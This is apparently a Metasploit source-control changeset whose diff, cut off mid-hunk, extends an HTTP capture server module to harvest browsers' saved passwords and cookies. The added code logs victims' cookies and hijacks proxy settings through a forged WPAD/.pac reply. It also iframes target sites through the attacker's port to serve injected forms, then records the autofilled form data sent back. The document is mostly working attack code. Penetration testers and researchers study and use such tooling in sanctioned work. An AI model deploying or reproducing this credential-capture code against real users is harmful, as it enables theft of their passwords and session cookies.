Changeset 5490

Show
Ignore:
Timestamp:
04/22/08 13:48:21 (3 weeks ago)
Author:
hdm
Message:

Fun with saved passwords

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/lib/rex/text.rb

    r5205 r5490  
    419419                end 
    420420        end 
     421 
     422        #        
     423        # Decode a URI encoded string 
     424        # 
     425        def self.uri_decode(str) 
     426                str.gsub(/(%[a-z0-9]{2})/i){ |c| [c[1,2]].pack("H*") } 
     427        end 
    421428         
    422429        # 
  • framework3/trunk/modules/auxiliary/server/capture/http.rb

    r5487 r5490  
    5252                                                File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "sites.txt") 
    5353                                        ] 
    54                                 ) 
     54                                ), 
     55                                OptPath.new('FORMSDIR',   [ false, "The directory containing form snippets (example.com.txt)",  
     56                                                File.join(Msf::Config.install_root, "data", "exploits", "capture", "http", "forms") 
     57                                        ] 
     58                                ),                               
    5559                        ], self.class) 
    5660        end 
     
    6266 
    6367        def run 
     68                @formsdir = datastore['FORMSDIR'] 
    6469                @template = datastore['TEMPLATE'] 
    6570                @sitelist = datastore['SITELIST'] 
     
    152157 
    153158                cookies = req['Cookie'] || '' 
     159         
     160         
     161                if(cookies.length > 0) 
     162                        report_note( 
     163                                :host => cli.peerhost, 
     164                                :type => "http_cookies", 
     165                                :data => hhead + " " + cookies 
     166                        ) 
     167                end 
    154168                 
    155169 
     
    184198                end 
    185199                 
    186                 if(req.resource =~ /^wpad.dat|.*\.pac$/i)  
     200                if(req.resource =~ /^\/*wpad.dat|.*\.pac$/i)  
    187201                        prx = "function FindProxyForURL(url, host) { return 'PROXY #{mysrc}:#{@myport}'; }" 
    188202                        res =  
     
    196210                        return 
    197211                end 
     212         
     213         
     214                if(req.resource =~ /^\/*formrec\/(.*)/i)                 
     215                        data = Rex::Text.uri_decode($1).split("\x00").join(", ") 
     216 
     217                        report_note( 
     218                                :host => cli.peerhost, 
     219                                :type => "http_formdata", 
     220                                :data => hhead + " " + data 
     221                        ) 
     222                         
     223                        res =  
     224                                "HTTP/1.1 200 OK\r\n" + 
     225                                "Host: #{hhead}\r\n" + 
     226                                "Content-Type: text/html\r\n" + 
     227                                "Content-Length: 0\r\n" + 
     228                                "Connection: Close\r\n\r\n" 
     229                                 
     230                        print_status("HTTP form data received for #{hhead} from #{cli.peerhost} (#{data})") 
     231                        cli.put(res) 
     232                        return 
     233                end 
    198234                 
    199235                print_status("HTTP REQUEST #{cli.peerhost} > #{hhead}:#{@myport} #{req.method} #{req.resource} #{os_name} #{ua_name} #{ua_vers} cookies=#{cookies}") 
     236                                 
     237                if(req.resource =~ /^\/*forms.html$/) 
     238                        frm = inject_forms(hhead) 
     239                        res =  
     240                                "HTTP/1.1 200 OK\r\n" + 
     241                                "Host: #{hhead}\r\n" + 
     242                                "Content-Type: text/html\r\n" + 
     243                                "Content-Length: #{frm.length}\r\n" + 
     244                                "Connection: Close\r\n\r\n#{frm}" 
     245                        cli.put(res) 
     246                        return 
     247                end 
     248                 
     249                 
     250 
    200251                 
    201252                 
     
    244295                           "Content-Length: #{data.length}\r\n" + 
    245296                           "Connection: Close\r\n\r\n#{data}" 
    246  
    247  
    248  
    249  
    250297                        cli.put(res) 
    251298                        return 
     
    260307                        site.strip! 
    261308                        next if site.length == 0 
    262                         buff << "<img src='http://#{site}/pixel.gif'>" 
     309                        buff << "<iframe src='http://#{site}:#{@myport}/forms.html'></iframe>" 
    263310